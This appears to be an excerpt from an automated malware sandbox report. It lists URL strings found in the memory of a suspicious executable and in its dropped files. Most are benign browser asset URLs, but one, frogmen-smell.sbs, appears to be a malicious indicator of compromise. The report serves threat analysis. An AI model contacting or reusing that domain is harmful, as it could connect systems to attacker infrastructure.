Source: 7ae91bba-1566-480d-aabc-ae99802a967f.tmp.9.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.8.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 7ae91bba-1566-480d-aabc-ae99802a967f.tmp.9.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: file.exe, 00000000.00000002.2560094047.0000000023A92000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2930865261.000000000153E000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3026505682.00000000013F2000.00000004.00000020.00020000.00000000.sdmp, IECBAFCAAKJDHJKFIEBG.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000002.2560094047.0000000023A92000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2930865261.000000000153E000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3026505682.00000000013F2000.00000004.00000020.00020000.00000000.sdmp, IECBAFCAAKJDHJKFIEBG.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: Reporting and NEL.9.dr	String found in binary or memory: https://deff.nelreports.net/api/report
Source: Reporting and NEL.9.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: Reporting and NEL.9.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msnw
Source: manifest.json0.8.dr	String found in binary or memory: https://docs.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000002.2541025259.0000000001812000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2870522203.0000000005E3E000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2898474821.0000000005EDB000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2870681714.0000000005E3E000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2897332579.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2870451209.0000000005E40000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.2984962413.0000000005CA7000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3001047670.0000000005CB5000.00000004.00000800.00020000.00000000.sdmp, GHCGDAFC.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 0f2c5625b4.exe, 00000018.00000003.2870522203.0000000005E3E000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2898474821.0000000005EDB000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2870681714.0000000005E3E000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2897332579.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2870451209.0000000005E40000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.2984962413.0000000005CA7000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3001047670.0000000005CB5000.00000004.00000800.00020000.00000000.sdmp, GHCGDAFC.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000002.2541025259.0000000001812000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2870522203.0000000005E3E000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2898474821.0000000005EDB000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2870681714.0000000005E3E000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2897332579.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2870451209.0000000005E40000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.2984962413.0000000005CA7000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3001047670.0000000005CB5000.00000004.00000800.00020000.00000000.sdmp, GHCGDAFC.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 7ae91bba-1566-480d-aabc-ae99802a967f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net
Source: 000003.log0.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log0.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log0.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log0.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 000003.log0.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: 0f2c5625b4.exe, 00000018.00000003.2925233765.000000000152B000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.3070813113.0000000001550000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2991998695.000000000152C000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3060149212.0000000001400000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3049026525.00000000013FA000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3020806484.0000000005C6D000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3047824326.0000000005C68000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3049627187.0000000005C6C000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.2999302927.00000000013FA000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3060203334.0000000001408000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3048439177.0000000005C68000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3048848375.0000000005C6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/
Source: 0f2c5625b4.exe, 00000018.00000003.2963015078.000000000152C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs//
